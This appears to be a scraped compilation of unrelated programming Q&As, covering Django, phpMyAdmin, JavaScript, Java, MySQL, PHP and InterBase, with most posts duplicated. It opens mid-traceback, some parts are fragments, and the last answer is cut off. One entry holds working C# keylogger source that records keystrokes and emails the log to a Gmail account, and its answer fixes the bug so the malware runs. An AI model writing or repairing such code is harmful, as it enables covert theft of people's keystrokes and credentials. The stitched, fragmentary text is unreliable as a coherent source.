File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in build_filter
  1142.         value, lookups = self.prepare_lookup_value(value, lookups, can_reuse)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in prepare_lookup_value
  1040.                 raise ValueError("Cannot use None as a query value")

Exception Type: ValueError at /admin/catalog/category/add/
Exception Value: Cannot use None as a query value
</code>```

答:
I found the cause of this error by using the "node_order_by" attribute when referencing a field using auto_now in a MP_node subclass....   </p>

```<code>Class Tree(MP_Node):
    name = models.CharField(max_length=45)
    last_modified =  models.DateTimeField(auto_now=True)
    node_order_by = ['last_modified']
</code>```

<p>Commented out node_order_by or using a different field and the error went away. I think the issue is that Treebeard is trying to figure out where to insert the child record and it doesn't have a date yet for the new record. </p>

Body:
I'm using django-mptt to create catalog Category model and I'm getting an error when i'm trying to create first instance of Category model

>>> c = Category(name='cat1', slug='cat1')
>>> c.save()

Error:

ValueError at /admin/catalog/category/add/
Cannot use None as a query value

This error appears only if i don't point 'parent' field in Category instance

class TimeStampedModel(models.Model):
    """
    Abstract class for adding 'create' and 'modified' info
    """
    created = models.DateTimeField(auto_now_add=True)
    modified = models.DateTimeField(auto_now=True)

    class Meta:
        abstract = True

@python_2_unicode_compatible
class Category(MPTTModel, TimeStampedModel):
    ''' Category model with MPTT storing approach '''
    name = models.CharField(max_length=128)
    slug = models.SlugField(max_length=50, unique=True)
    description = models.TextField(blank=True)
    parent = TreeForeignKey('self', null=True, blank=True, related_name='children')
    is_active = models.BooleanField(default=True)

    def __str__(self):
        return self.name

    def get_absolute_url(self):
        return reverse('category', kwargs={'slug': self.slug})

    class MPTTMeta:
        order_insertion_by = ['id']

I can't find where error is. Have any suggestions?

Environment:

Request Method: POST
Request URL: http://127.0.0.1:8000/admin/catalog/category/add/

Django Version: 1.7.1
Python Version: 2.7.6
Installed Applications:
('django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.messages',
 'django.contrib.staticfiles',
 'mptt',
 'sorl.thumbnail',
 'daguerre',
 'home',
 'utils',
 'accounts',
 'catalog',
 'debug_toolbar')
Installed Middleware:
(u'debug_toolbar.middleware.DebugToolbarMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.middleware.common.CommonMiddleware',
 'django.middleware.csrf.CsrfViewMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
 'django.contrib.messages.middleware.MessageMiddleware',
 'django.middleware.clickjacking.XFrameOptionsMiddleware')

Traceback:
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/core/handlers/base.py" in get_response
  111.                     response = wrapped_callback(request, *callback_args, **callback_kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/options.py" in wrapper
  584.                 return self.admin_site.admin_view(view)(*args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/utils/decorators.py" in _wrapped_view
  105.                     response = view_func(request, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/views/decorators/cache.py" in _wrapped_view_func
  52.         response = view_func(request, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/sites.py" in inner
  204.             return view(request, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/options.py" in add_view
  1454.         return self.changeform_view(request, None, form_url, extra_context)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/utils/decorators.py" in _wrapper
  29.             return bound_func(*args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/utils/decorators.py" in _wrapped_view
  105.                     response = view_func(request, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/utils/decorators.py" in bound_func
  25.                 return func.__get__(self, type(self))(*args2, **kwargs2)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/transaction.py" in inner
  394.                 return func(*args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/options.py" in changeform_view
  1405.                 self.save_model(request, new_object, form, not add)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/options.py" in save_model
  1046.         obj.save()
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/mptt/models.py" in save
  824.                         right_sibling = opts.get_ordered_insertion_target(self, parent)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/mptt/models.py" in get_ordered_insertion_target
  193.             queryset = node.__class__._tree_manager.filter(filters).order_by(*order_by)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/manager.py" in manager_method
  92.                 return getattr(self.get_queryset(), name)(*args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/query.py" in filter
  691.         return self._filter_or_exclude(False, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/query.py" in _filter_or_exclude
  709.             clone.query.add_q(Q(*args, **kwargs))
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in add_q
  1287.         clause, require_inner = self._add_q(where_part, self.used_aliases)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in _add_q
  1309.                     current_negated)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in _add_q
  1314.                     current_negated=current_negated, connector=connector)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in build_filter
  1142.         value, lookups = self.prepare_lookup_value(value, lookups, can_reuse)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in prepare_lookup_value
  1040.                 raise ValueError("Cannot use None as a query value")

Exception Type: ValueError at /admin/catalog/category/add/
Exception Value: Cannot use None as a query value

Body:
I found the cause of this error by using the "node_order_by" attribute when referencing a field using auto_now in a MP_node subclass....

Class Tree(MP_Node):
    name = models.CharField(max_length=45)
    last_modified =  models.DateTimeField(auto_now=True)
    node_order_by = ['last_modified']

Commented out node_order_by or using a different field and the error went away. I think the issue is that Treebeard is trying to figure out where to insert the child record and it doesn't have a date yet for the new record.


问:
How to disable or remove export option in PhpMyAdmin?
we want to restrict users from exporting the data they access via phpmyadmin.

So, how to remove or disable EXPORT option from phpmyadmin?

答:
You have to decide what you're trying to protect against and what sort of measures are "good enough." Since any user that can display information can, at a bare minimum, manually copy that data, you can't fully restrict them from getting a copy of your data.

If all you want to do is hide the Export tab, that's easy — set up a new user group (from the "User groups" tab while in the "User accounts" area), remove the Export option on that page, then add all of your users to that group.

However, that's not going to stop a motivated user; they can still display data or use standard MySQL commands to create an export, so you have to decide whether it's appropriate for use in your situation.

To use the User Groups feature, you first have to have set up the phpMyAdmin Configuration Storage (which has a zero-configuration feature, so you might not need to do much work; I still prefer to create the tables and user manually, though). Once you have the proper database and tables for phpMyAdmin to store its own configuration data, you'll get access to the second tab of the User accounts page as shown here:

From there, you can use the "Add user group" link to create a user group, giving them whatever functionality you desire and excluding the Export option. Once you've saved those changes, go back to the main "User accounts overview" page and for each user you wish to restrict, assign them to that group.

Remember that it's better to prevent actions using the MySQL permissions when available; so if you want to prevent a user from deleting data it's better to do that by modifying the user itself rather than through a user group. That way, it's a MySQL restriction and the user can't directly enter an SQL statement or use some other program to bypass the phpMyAdmin user groups.


问:
Keylogger processes using same directory and throwing exception
created console keylogger with help of guide but have a problem:

Line  using (StreamWriter sw = File.AppendText(path)) giving an error

Additional information: The process cannot access the file 'C:\Users\D.A\Documents\LogsFolder\LoggedKeys.txt' because it is being used by another process.

in LogKeys(); method
 (first time writing here sorry about mistakesin question)

Libraries used:

```<code>using System.IO;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net.Mail;
</code>```

 My code:

```<code>static void Main(string[] args)
        {
            Path();
            SendMail();
            LogKeys();
        }
</code>```

Mathow which gives an Error:

```<code>static void LogKeys()
        {
            String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            filepath = filepath + @"\LogsFolder\";
            KeysConverter converter = new KeysConverter();
            string text = "";
            string path = (@filepath + "LoggedKeys.txt");
            while (true)
            {
                Thread.Sleep(5);
                for (Int32 i = 0; i < 2000; i++)
                {
                    int key = GetAsyncKeyState(i);
                    if (key == 1 || key == -32767)
                    {
                        text = converter.ConvertToString(i);
                        using (StreamWriter sw = File.AppendText(path))
                        {
                            sw.WriteLine(text);
                        }
                        break;
                    }
                }
            }
        }
</code>```

Method creates path and file if it doesent exists

```<code>static void Path()
        {

                String filepath =
               Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                filepath = filepath + @"\LogsFolder\";

                if (!Directory.Exists(filepath))
                {
                    Directory.CreateDirectory(filepath);
                }

                string path = (@filepath + "LoggedKeys.txt");

                if (!File.Exists(path))
                {
                    using (StreamWriter sw = File.CreateText(path))
                    {

                    }
                }
            }
</code>```

Methot which sending Emails

```<code>static void SendMail()
        {
            String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
            DateTime dateTime = DateTime.Now;
            string subtext = "Loggedfiles";
            subtext += dateTime;
            SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
            MailMessage LOGMESSAGE = new MailMessage();
            LOGMESSAGE.From = new MailAddress("logkeysforme@gmail.com");
            LOGMESSAGE.To.Add("logkeysforme@gmail.com");
            LOGMESSAGE.Subject = subtext;
            client.UseDefaultCredentials = false;
            client.EnableSsl = true;
            client.Credentials = new System.Net.NetworkCredential("logkeysforme@gmail.com", "password");
            System.Threading.Thread.Sleep(2);
            LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
            LOGMESSAGE.Body = subtext;
            client.Send(LOGMESSAGE);
            LOGMESSAGE = null;
        }
</code>```

答:
In SendMail method you use file C:\Users\D.A\Documents\LogsFolder\LoggedKeys.txt as an email attachment without disposing Attachment object. So file remains open and when you try to access it again in LogKeys method, file cannot be opened (file can be opened only once at a time, unless sharing is specified).

Properly disposing all objects with using should close file and solve your problem:

```<code>static void SendMail()
{
    String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
    string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
    DateTime dateTime = DateTime.Now;
    string subtext = "Loggedfiles";
    subtext += dateTime;
    using (SmtpClient client = new SmtpClient("smtp.gmail.com", 587))
    {
        MailMessage LOGMESSAGE = new MailMessage();
        LOGMESSAGE.From = new MailAddress("logkeysforme@gmail.com");
        LOGMESSAGE.To.Add("logkeysforme@gmail.com");
        LOGMESSAGE.Subject = subtext;
        client.UseDefaultCredentials = false;
        client.EnableSsl = true;
        client.Credentials = new System.Net.NetworkCredential("logkeysforme@gmail.com", "password");
        System.Threading.Thread.Sleep(2);
        using (var attachment = new Attachment(Newfilepath2))
        {
            LOGMESSAGE.Attachments.Add(attachment);
            LOGMESSAGE.Body = subtext;
            client.Send(LOGMESSAGE);
        }
    }
}
</code>```

Body:
created console keylogger with help of guide but have a problem:

Line  using (StreamWriter sw = File.AppendText(path)) giving an error

Additional information: The process cannot access the file 'C:\Users\D.A\Documents\LogsFolder\LoggedKeys.txt' because it is being used by another process.

in LogKeys(); method
 (first time writing here sorry about mistakesin question)

Libraries used:

using System.IO;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net.Mail;

 My code:

static void Main(string[] args)
        {
            Path();
            SendMail();
            LogKeys();
        }

Mathow which gives an Error:

static void LogKeys()
        {
            String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            filepath = filepath + @"\LogsFolder\";
            KeysConverter converter = new KeysConverter();
            string text = "";
            string path = (@filepath + "LoggedKeys.txt");
            while (true)
            {
                Thread.Sleep(5);
                for (Int32 i = 0; i < 2000; i++)
                {
                    int key = GetAsyncKeyState(i);
                    if (key == 1 || key == -32767)
                    {
                        text = converter.ConvertToString(i);
                        using (StreamWriter sw = File.AppendText(path))
                        {
                            sw.WriteLine(text);
                        }
                        break;
                    }
                }
            }
        }

Method creates path and file if it doesent exists

static void Path()
        {

                String filepath =
               Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                filepath = filepath + @"\LogsFolder\";

                if (!Directory.Exists(filepath))
                {
                    Directory.CreateDirectory(filepath);
                }

                string path = (@filepath + "LoggedKeys.txt");

                if (!File.Exists(path))
                {
                    using (StreamWriter sw = File.CreateText(path))
                    {

                    }
                }
            }

Methot which sending Emails

static void SendMail()
        {
            String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
            DateTime dateTime = DateTime.Now;
            string subtext = "Loggedfiles";
            subtext += dateTime;
            SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
            MailMessage LOGMESSAGE = new MailMessage();
            LOGMESSAGE.From = new MailAddress("logkeysforme@gmail.com");
            LOGMESSAGE.To.Add("logkeysforme@gmail.com");
            LOGMESSAGE.Subject = subtext;
            client.UseDefaultCredentials = false;
            client.EnableSsl = true;
            client.Credentials = new System.Net.NetworkCredential("logkeysforme@gmail.com", "password");
            System.Threading.Thread.Sleep(2);
            LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2));
            LOGMESSAGE.Body = subtext;
            client.Send(LOGMESSAGE);
            LOGMESSAGE = null;
        }

Body:
In SendMail method you use file C:\Users\D.A\Documents\LogsFolder\LoggedKeys.txt as an email attachment without disposing Attachment object. So file remains open and when you try to access it again in LogKeys method, file cannot be opened (file can be opened only once at a time, unless sharing is specified).

Properly disposing all objects with using should close file and solve your problem:

static void SendMail()
{
    String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
    string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.txt";
    DateTime dateTime = DateTime.Now;
    string subtext = "Loggedfiles";
    subtext += dateTime;
    using (SmtpClient client = new SmtpClient("smtp.gmail.com", 587))
    {
        MailMessage LOGMESSAGE = new MailMessage();
        LOGMESSAGE.From = new MailAddress("logkeysforme@gmail.com");
        LOGMESSAGE.To.Add("logkeysforme@gmail.com");
        LOGMESSAGE.Subject = subtext;
        client.UseDefaultCredentials = false;
        client.EnableSsl = true;
        client.Credentials = new System.Net.NetworkCredential("logkeysforme@gmail.com", "password");
        System.Threading.Thread.Sleep(2);
        using (var attachment = new Attachment(Newfilepath2))
        {
            LOGMESSAGE.Attachments.Add(attachment);
            LOGMESSAGE.Body = subtext;
            client.Send(LOGMESSAGE);
        }
    }
}


问:
How can I loop through a JavaScript object array?
I am trying to loop through the following:

```<code>{
    "messages": [{
        "msgFrom": "13223821242",
        "msgBody": "Hi there"
    }, {
        "msgFrom": "Bill",
        "msgBody": "Hello!"
    }]
}
</code>```

I want to retrieve msgFrom and msgBody

I've tried:

```<code>        for (var key in data) {
           var obj = data[key];
           for (var prop in obj) {
              if(obj.hasOwnProperty(prop)){
                console.log(prop + " = " + obj[prop]);
              }
           }
        }
</code>```

But the console log prints [Object]

Any ideas what im doing wrong?

答:
The suggested for loop is quite fine but you have to check the properties with hasOwnProperty. I'd rather suggest using Object.keys() that only returns 'own properties' of the object (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys)

var data = {
    "messages": [{
        "msgFrom": "13223821242",
        "msgBody": "Hi there"
    }, {
        "msgFrom": "Bill",
        "msgBody": "Hello!"
    }]
};

data.messages.forEach(function(message, index) {
    console.log('message index '+ index);
    Object.keys(message).forEach(function(prop) {
        console.log(prop + " = " + message[prop]);
    });
});```

Body:
I am trying to loop through the following:

{
    "messages": [{
        "msgFrom": "13223821242",
        "msgBody": "Hi there"
    }, {
        "msgFrom": "Bill",
        "msgBody": "Hello!"
    }]
}

I want to retrieve msgFrom and msgBody

I've tried:

        for (var key in data) {
           var obj = data[key];
           for (var prop in obj) {
              if(obj.hasOwnProperty(prop)){
                console.log(prop + " = " + obj[prop]);
              }
           }
        }

But the console log prints [Object]

Any ideas what im doing wrong?


问:
Unable to resolve this maven/apache error
I tried to build a web service maven project using jersey in eclipse.

This was the archetype I used:

And this is the error I'm getting

I tried re downloading dependancies, deleting and creating a new project.

答:
Can you try adding

compile group: 'com.sun.jersey', name: 'jersey-json', version: '1.19.4'

dependency explicitly?


答:
You don't need to do it so complicated, and you should explicitly use StringBuilder for such string operations:

```<code>String s = "abcdefg";

StringBuilder builder = new StringBuilder();

for (char c : s.toCharArray()) {
    builder.append(c).append(",");
}

// Alternatively, you can do it in this way
for (String symbol : s.split("")) {
    builder.append(symbol).append(",");
}

System.out.println(builder.toString());

// Java 8 (the result string doesn't have a comma at the end)
String collect = Arrays.stream(s.split("")).collect(Collectors.joining(","));

// Java8 StringJoiner
StringJoiner sj = new StringJoiner(",");
// StringJoiner sj = new StringJoiner(",", "", ",");
for (String str : s.split("")) {
    sj.add(str);
}
</code>```

Title: how to create a string from char array by adding char by char in java

Body:
You don't need to do it so complicated, and you should explicitly use StringBuilder for such string operations:

String s = "abcdefg";

StringBuilder builder = new StringBuilder();

for (char c : s.toCharArray()) {
    builder.append(c).append(",");
}

// Alternatively, you can do it in this way
for (String symbol : s.split("")) {
    builder.append(symbol).append(",");
}

System.out.println(builder.toString());

// Java 8 (the result string doesn't have a comma at the end)
String collect = Arrays.stream(s.split("")).collect(Collectors.joining(","));

// Java8 StringJoiner
StringJoiner sj = new StringJoiner(",");
// StringJoiner sj = new StringJoiner(",", "", ",");
for (String str : s.split("")) {
    sj.add(str);
}


问:
MySQL Subqueries
I am facing an interesting problem.

Please see the picture of the two table I have.

userskill table

Jobskill Table

What I want is
I want to return the skill names of the userid 17 and the number of jobs in that skills. So the result should be something like this

```<code>Skill                                NumOfJobs
Advertising and Promotions Manger        2
Advertising Sales Agent                  8
</code>```

Is that possible with one query or I should run two query?
Thank you in advance..

答:
```<code>SELECT `skill`, COUNT(*) AS `NumOfJobs`
FROM `jobSkill`
INNER JOIN `userSkill` USING ( `skill` )
WHERE `userSkill`.`user`=17
GROUP BY `skill`
</code>```

Basically this restricts your userSkill table to those rows, with user equal to 17.

Afterwards, we take all those skills and join to jobSkill to get all jobs with the respective skill.

Finally using GROUP BY and COUNT() we tell the database to count the entries per skill.

Title: MySQL Subqueries

Body:
I am facing an interesting problem.

Please see the picture of the two table I have.

userskill table

Jobskill Table

What I want is
I want to return the skill names of the userid 17 and the number of jobs in that skills. So the result should be something like this

Skill                                NumOfJobs
Advertising and Promotions Manger        2
Advertising Sales Agent                  8

Is that possible with one query or I should run two query?
Thank you in advance..

Body:
SELECT `skill`, COUNT(*) AS `NumOfJobs`
FROM `jobSkill`
INNER JOIN `userSkill` USING ( `skill` )
WHERE `userSkill`.`user`=17
GROUP BY `skill`

Basically this restricts your userSkill table to those rows, with user equal to 17.

Afterwards, we take all those skills and join to jobSkill to get all jobs with the respective skill.

Finally using GROUP BY and COUNT() we tell the database to count the entries per skill.


问:
https vs ssl- when to use what
Is https different from http with ssl? If so, when should one use https and when ssl?</p>

答:
HTTPS is a transfer protocol in web and it uses SSL in its underlying (Socket) layer. Its possible for HTTPS to use other technologies for achieving security for transferring HTTP traffic in the future.

SSL is a way of securing data transfer at socket layer. It could be used for other purposes (i.e FTPS).

Title: https vs ssl- when to use what


问:
Check that a mathematical operation (adding, multiplying) can be done successfully in javascript?
Given a specific group of "Strings" that represent integers in an addition operation, how is it possible to know if the calculation is possible in javascript? for instance.

2 + 2 (definetly possible)

20000000000000000 - 1 (not possible)

2e50 + 2e60 (not possible)

200000 + 5 + 40 + 300 + 2000 + 10000 (possible)

The same applies to multiplication, several integers, duable or not?

2*2 (possible)

3*2e200 (possible)

4*-3e700 (not possible)

答:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER

Open your browsers error console and view what this does.

```<code>"use strict";
var i,
    numbers=[
        2+2,
        20000000000000000 - 1,
        2e50 + 2e60,
        200000 + 5 + 40 + 300 + 2000 + 10000,
        2*2,
        3*2e200,
        4*-3e700
    ],
    s=numbers.length;
for(i=0;i<s;i++){
    console.log(
        'The value of array index '+i+' is'+
        ((Number.isSafeInteger((numbers[i])))?'':' NOT')+
        ' Safe'
    );
}
</code>```

Output from console:

```<code>The value of array index 0 is Safe
The value of array index 1 is NOT Safe
The value of array index 2 is NOT Safe
The value of array index 3 is Safe
The value of array index 4 is Safe
The value of array index 5 is NOT Safe
The value of array index 6 is NOT Safe
</code>```

Some of these number may be accurate, but can not be compared to determine which is greater

Body:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER

Open your browsers error console and view what this does.

"use strict";
var i,
    numbers=[
        2+2,
        20000000000000000 - 1,
        2e50 + 2e60,
        200000 + 5 + 40 + 300 + 2000 + 10000,
        2*2,
        3*2e200,
        4*-3e700
    ],
    s=numbers.length;
for(i=0;i<s;i++){
    console.log(
        'The value of array index '+i+' is'+
        ((Number.isSafeInteger((numbers[i])))?'':' NOT')+
        ' Safe'
    );
}

Output from console:

The value of array index 0 is Safe
The value of array index 1 is NOT Safe
The value of array index 2 is NOT Safe
The value of array index 3 is Safe
The value of array index 4 is Safe
The value of array index 5 is NOT Safe
The value of array index 6 is NOT Safe

Some of these number may be accurate, but can not be compared to determine which is greater


问:
Alternate Statements of System.out.println()
Can anybody please help me by providing different ways of printing other than System.out.println() statement in Java?</p>

答: You can also try the code System.out.printf();


问:
Confusion about byte strings and base64 encoding in Python
In Python 3, lets say I have a string of bytes:

```<code>my_byte_string = b'\x07L\x1b\xa8b\x8f\xba\x1b{\x1c\x16CwW\xa5\xae!\x93MY'
</code>```

and I use the base64 module to get this:

```<code>my_base64_string = base64.b64encode(my_byte_string)

print(my_base64_string)

b'B0wbqGKPuht7HBZDd1elriGTTVk='
</code>```

When I do this, I am confused about what happens to the '\' characters. I know that they indicate separation of different bytes, but are they being encoded by b64encode like the other characters, or are they being ignored?

答:
The '\' character doesn't indicate the separation of different bytes, it is a string literal, which is used to escape characters with special meaning. In your case, you use \x<hex>, which tells the Python interpreter to place the byte value you specified into the String. Thus, these bytes that you sequentially specify (0x07L, 0x1b, ...) are encoded to base64, and nothing else.

To verify this, look at the hexadecimal representation of your binary data:

```<code>>>> import binascii
>>> binascii.hexlify(my_byte_string)
b'074c1ba8628fba1b7b1c16437757a5ae21934d59'
</code>```

Body:
In Python 3, lets say I have a string of bytes:

my_byte_string = b'\x07L\x1b\xa8b\x8f\xba\x1b{\x1c\x16CwW\xa5\xae!\x93MY'

and I use the base64 module to get this:

my_base64_string = base64.b64encode(my_byte_string)

print(my_base64_string)

b'B0wbqGKPuht7HBZDd1elriGTTVk='

When I do this, I am confused about what happens to the '\' characters. I know that they indicate separation of different bytes, but are they being encoded by b64encode like the other characters, or are they being ignored?

Body:
The '\' character doesn't indicate the separation of different bytes, it is a string literal, which is used to escape characters with special meaning. In your case, you use \x<hex>, which tells the Python interpreter to place the byte value you specified into the String. Thus, these bytes that you sequentially specify (0x07L, 0x1b, ...) are encoded to base64, and nothing else.

To verify this, look at the hexadecimal representation of your binary data:

>>> import binascii
>>> binascii.hexlify(my_byte_string)
b'074c1ba8628fba1b7b1c16437757a5ae21934d59'


问:
PHP OOP question
I have a syntax question about PHP OOP.

I have two functions.

```<code>public function setBody($body) {
  $this->body = $body;
 }

public function return_value($value) {
  return $value;
 }
</code>```

$body is declared higher up in the function.  if I want to call the return_value function (which I realize does nothing -- it's just an example for me to use to learn) on setBody, what's the syntax for that?

I tried $this->body = return_value($body) and it didn't work.  I also tried return_value($this->body) as a second line as well, and it didn't work either.

Thanks in advance for your help.

答:
You'll need to do this:</p>

```<code>public function setBody($body) {
  $this->body = $this->return_value($body);
  // Make a reference to the object you are dealing with -- return_body
  // is not a global function -- it's a method of the object you are creating.
}

public function return_value($value) {
  return $value;
}
</code>```

Title: PHP OOP question

Body:
I have a syntax question about PHP OOP.

I have two functions.

public function setBody($body) {
  $this->body = $body;
 }

public function return_value($value) {
  return $value;
 }

$body is declared higher up in the function.  if I want to call the return_value function (which I realize does nothing -- it's just an example for me to use to learn) on setBody, what's the syntax for that?

I tried $this->body = return_value($body) and it didn't work.  I also tried return_value($this->body) as a second line as well, and it didn't work either.

Thanks in advance for your help.

Body:
You'll need to do this:

public function setBody($body) {
  $this->body = $this->return_value($body);
  // Make a reference to the object you are dealing with -- return_body
  // is not a global function -- it's a method of the object you are creating.
}

public function return_value($value) {
  return $value;
}


问:
WhyJava Bean Pattern is not threadsafe
Joshua Bloch states in Effective Java, 2nd Edition:

One alternative you have to the Telescoping Constructor Pattern is the JavaBean Pattern where you call a constructor with the mandatory parameters and then call any optional setters after:

```<code>Pizza pizza = new Pizza(12);
pizza.setCheese(true);
pizza.setPepperoni(true);
pizza.setBacon(true);
</code>```

The problem here is that because the object is created over several calls it may be in an inconsistent state partway through its construction. This also requires a lot of extra effort to ensure thread safety.

My Question:-
Is above code not thread safe? Am I missing any basic thing?

Thanks in Advance,

Surya

答:
The code that you have shown us involves only one thread, so thread-safety of this code is moot.

If multiple threads could see the Pizza instance, then there are a couple of things to worry about:

Can another thread see the Pizza instance before you have finished initializing it?

When the other thread sees the instance, will it observe the correct values for the attributes?

The first concern is addressed by not "publishing" the references to another thread until you have finished initializing it.

The second one can be addressed by using an appropriate synchronization mechanism to ensure that the changes are visible.  This could be done in a number of ways.  For example:

You could declare the getters and setters as synchronized methods.

You could declare the (private) variables that hold the attribute values as volatile.

Note that the JavaBean pattern doesn't prescribe how beans are constructed.  In your example, you use a no-args constructor and then set fields using setters.  You could also implement a constructor which allows you to pass arguments giving (non-default) initial values for properties.

This also requires a lot of extra effort to ensure thread safety

Not really.  In this context, it is a small change to make the getters and setters thread-safe.  For example:

```<code>public class Pizza {
     private boolean cheese;

     public synchronized /* added */ void setCheese(boolean cheese) {
         this.cheese = cheese;
     }

     public synchronized /* added */ boolean isCheese() {
         return cheese;
     }
}
</code>```

Title: WhyJava Bean Pattern is not threadsafe

Body:
Joshua Bloch states in Effective Java, 2nd Edition:

One alternative you have to the Telescoping Constructor Pattern is the JavaBean Pattern where you call a constructor with the mandatory parameters and then call any optional setters after:

Pizza pizza = new Pizza(12);
pizza.setCheese(true);
pizza.setPepperoni(true);
pizza.setBacon(true);

The problem here is that because the object is created over several calls it may be in an inconsistent state partway through its construction. This also requires a lot of extra effort to ensure thread safety.

My Question:-
Is above code not thread safe? Am I missing any basic thing?

Thanks in Advance,

Surya

Body:
The code that you have shown us involves only one thread, so thread-safety of this code is moot.

If multiple threads could see the Pizza instance, then there are a couple of things to worry about:

Can another thread see the Pizza instance before you have finished initializing it?

When the other thread sees the instance, will it observe the correct values for the attributes?

The first concern is addressed by not "publishing" the references to another thread until you have finished initializing it.

The second one can be addressed by using an appropriate synchronization mechanism to ensure that the changes are visible.  This could be done in a number of ways.  For example:

You could declare the getters and setters as synchronized methods.

You could declare the (private) variables that hold the attribute values as volatile.

Note that the JavaBean pattern doesn't prescribe how beans are constructed.  In your example, you use a no-args constructor and then set fields using setters.  You could also implement a constructor which allows you to pass arguments giving (non-default) initial values for properties.

This also requires a lot of extra effort to ensure thread safety

Not really.  In this context, it is a small change to make the getters and setters thread-safe.  For example:

public class Pizza {
     private boolean cheese;

     public synchronized /* added */ void setCheese(boolean cheese) {
         this.cheese = cheese;
     }

     public synchronized /* added */ boolean isCheese() {
         return cheese;
     }
}


问:
Connecting to local server via dBExpress
My D7 dBExpress project is supposed to connect to a local Interbase XE7 server.
It has the usual DBX setup: SqlConnection, SqlQuery, DataSetProvider and
ClientDataSet and does a simple 'select * from mytable'.

Last time I used it, it was working fine, but today when I ran it inside the IDE,
I get an exception as I call

```<code>ClientDataSet1.Open;
</code>```

in my FormCreate (that call is the entire code of the project, btw).  The
exception is an EDatabaseError with msg "No mapping for Error Code Found." and happens in TSqlConnection.DoConnect

答:
That sounds familiar - I got that error myself one time, when I went back to an IB project after a few weeks.

It turned out that in the meantime something had sneaked Firebird onto my machine and it had hijacked the port IB usually listens on, and it was actually this FB server which was rejecting the connection, not the Interbase one!

Take a look under Services to see whether there is an FB server running. If there are, close it down (and start the IB server if not already running, of course).  Then try your DBX project again.

Somewhere in the IB docs, I found something which seemed to suggest there was a way of getting FB and IB servers to coexist, but to avoid falling into a similar trap another time, I wrote a couple of batch files to shut down one of them and start the other.  One is called "UseIB" and contains:

```<code>net stop "Firebird server - DefaultInstance"
net start "InterBase XE7 Server gds_db"
</code>```

The other one, "UseFB" just does the opposite, of course.

Body:
My D7 dBExpress project is supposed to connect to a local Interbase XE7 server.
It has the usual DBX setup: SqlConnection, SqlQuery, DataSetProvider and
ClientDataSet and does a simple 'select * from mytable'.

Last time I used it, it was working fine, but today when I ran it inside the IDE,
I get an exception as I call

ClientDataSet1.Open;

in my FormCreate (that call is the entire code of the project, btw).  The
exception is an EDatabaseError with msg "No mapping for Error Code Found." and happens in TSqlConnection.DoConnect

Body:
That sounds familiar - I got that error myself one time, when I went back to an IB project after a few weeks.

